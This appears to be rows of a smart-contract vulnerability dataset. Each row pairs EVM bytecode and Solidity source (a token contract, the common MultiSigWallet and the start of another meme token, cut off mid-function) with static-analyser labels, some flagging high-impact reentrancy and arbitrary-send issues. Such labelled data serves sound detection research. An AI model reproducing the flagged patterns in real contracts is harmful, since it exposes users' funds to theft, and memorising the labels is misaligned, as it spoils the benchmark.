20152608401610525565b60006113476116bb565b905061135383826115dd565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140457600080fd5b505afa158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190611ab1565b8160018151811061145d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114839130911684610b50565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bc908590600090869030904290600401611c75565b600060405180830381600087803b1580156114d657600080fd5b505af11580156114ea573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261150e57506000610442565b600061151a8385611d11565b9050826115278583611cfd565b146113535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610525565b60008061158b8385611ce5565b9050838110156113535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610525565b600061135383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116de565b600a808210156116315750600a611645565b602882111561164257506028611645565b50805b61165081600261170c565b15611663578061165f81611d47565b9150505b611673600a6111698360026114ff565b600955611686600a6111698360086114ff565b600a555050565b8061169a5761169a61174e565b6116a584848461177c565b8061121157611211600e54600955600f54600a55565b60008060006116c8611873565b90925090506116d782826115dd565b9250505090565b600081836116ff5760405162461bcd60e51b81526004016105259190611bed565b5060006112488486611cfd565b600061135383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118b5565b60095415801561175e5750600a54155b1561176557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061178e876118e9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c09087611946565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ef908661157e565b6001600160a01b03891660009081526002602052604090205561181181611988565b61181b84836119d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061188f82826115dd565b8210156118ac57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118d65760405162461bcd60e51b81526004016105259190611bed565b506118e18385611d62565b949350505050565b60008060008060008060008060006119068a600954600a546119f6565b92509250925060006119166116bb565b905060008060006119298e878787611a45565b919e509c509a509598509396509194505050505091939550919395565b600061135383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611217565b60006119926116bb565b905060006119a083836114ff565b306000908152600260205260409020549091506119bd908261157e565b30600090815260026020526040902055505050565b6007546119df9083611946565b6007556008546119ef908261157e565b6008555050565b6000808080611a0a606461116989896114ff565b90506000611a1d60646111698a896114ff565b90506000611a3582611a2f8b86611946565b90611946565b9992985090965090945050505050565b6000808080611a5488866114ff565b90506000611a6288876114ff565b90506000611a7088886114ff565b90506000611a8282611a2f8686611946565b939b939a50919850919650505050505050565b600060208284031215611aa6578081fd5b813561135381611da2565b600060208284031215611ac2578081fd5b815161135381611da2565b60008060408385031215611adf578081fd5b8235611aea81611da2565b91506020830135611afa81611da2565b809150509250929050565b600080600060608486031215611b19578081fd5b8335611b2481611da2565b92506020840135611b3481611da2565b929592945050506040919091013590565b60008060408385031215611b57578182fd5b8235611b6281611da2565b946020939093013593505050565b600060208284031215611b81578081fd5b813561135381611db7565b600060208284031215611b9d578081fd5b815161135381611db7565b600060208284031215611bb9578081fd5b5035919050565b600080600060608486031215611bd4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1957858101830151858201604001528201611bfd565b81811115611c2a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf857611cf8611d76565b500190565b600082611d0c57611d0c611d8c565b500490565b6000816000190483118215151615611d2b57611d2b611d76565b500290565b600082821015611d4257611d42611d76565b500390565b6000600019821415611d5b57611d5b611d76565b5060010190565b600082611d7157611d71611d8c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063657600080fd5b801515811461063657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542616279436f696e6261736564202d20742e6d652f42616279436f696e6261736564a264697066735822122065c66fa1a19349874d79dc3e9b35f15364f4d0d1ee12a5a229234a615c199ba964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,346 |
0x65989eF43806Fefd20223826AD0c4dCDD310aDCd
|
pragma solidity 0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="80f3f4e5e6e1eeaee7e5eff2e7e5c0e3efeef3e5eef3f9f3aeeee5f4">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cae565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cce565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b341561036957600080fd5b61037f6004808035906020019091905050610f99565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611081565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611150565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e16111ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f260048080359060200190919050506113a2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115d3565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115d9565b005b34156106a157600080fd5b6106b76004808035906020019091905050611696565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611877565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b610765611897565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e61189c565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a2565b005b341561080757600080fd5b61081d6004808035906020019091905050611bc0565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611f9b565b506003805490506004541115610ab757610ab66003805490506115d9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bf657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8957838015610d3c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6f5750828015610d6e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7b576001820191505b5b8080600101915050610d05565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b60016003805490500160045460328211158015610e695750818111155b8015610e76575060008114155b8015610e83575060008214155b1515610e8e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610efa9190611fc7565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107957600160008581526020019081526020016000206000600383815481101515610fd757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611058576001820191505b60045482141561106b576001925061107a565b5b8080600101915050610fa6565b5b5050919050565b600080600090505b600380549050811015611149576001600084815260200190815260200160002060006003838154811015156110ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561113b576001820191505b5b8080600101915050611089565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111b4611ff3565b600380548060200260200160405190810160405280929190818152602001828054801561123657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111ec575b505050505090505b90565b611249612007565b611251612007565b6000806005546040518059106112645750595b908082528060200260200182016040525b50925060009150600090505b600554811015611322578580156112b8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611314578083838151811015156112ff57fe5b90602001906020020181815250506001820191505b5b8080600101915050611281565b8787036040518059106113325750595b908082528060200260200182016040525b5093508790505b8681101561139657828181518110151561136057fe5b906020019060200201518489830381518110151561137a57fe5b90602001906020020181815250505b808060010191505061134a565b5b505050949350505050565b6113aa611ff3565b6113b2611ff3565b6000806003805490506040518059106113c85750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561152b5760016000868152602001908152602001600020600060038381548110151561141657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151d5760038181548110151561149f57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114da57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e5565b816040518059106115395750595b908082528060200260200182016040525b509350600090505b818110156115ca57828181518110151561156857fe5b90602001906020020151848281518110151561158057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611552565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600380549050816032821115801561162b5750818111155b8015611638575060008114155b8015611645575060008214155b151561165057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ef57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561174b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117b757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361186c85611bc0565b5b5b50505b505b5050565b6000611884848484611e47565b905061188f81611696565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118de57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561193757600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199157600080fd5b600092505b600380549050831015611a7f578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a715783600384815481101515611a2257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7f565b5b8280600101935050611996565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c8657600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cb657600080fd5b611cbf86610f99565b15611e3b57600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d9e5780601f10611d7357610100808354040283529160200191611d9e565b820191906000526020600020905b815481529060010190602001808311611d8157829003601f168201915b505091505060006040518083038185876187965a03f19250505015611def57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e3a565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e7057600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f2f92919061201b565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511611fc257818360005260206000209182019101611fc1919061209b565b5b505050565b815481835581811511611fee57818360005260206000209182019101611fed919061209b565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061205c57805160ff191683800117855561208a565b8280016001018555821561208a579182015b8281111561208957825182559160200191906001019061206e565b5b509050612097919061209b565b5090565b6120bd91905b808211156120b95760008160009055506001016120a1565b5090565b905600a165627a7a72305820fc6a8c6cb9144de74f92705f2f4d5bbe8b515c2448a96cde1dd64f7d9567924a0029
|
{"success": true, "error": null, "results": {}}
| 6,347 |
0xD215E7DfE4324c722A4Acf72F5F8c4C767Fe666b
|
//Doggogram: https://t.me/millioninu
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
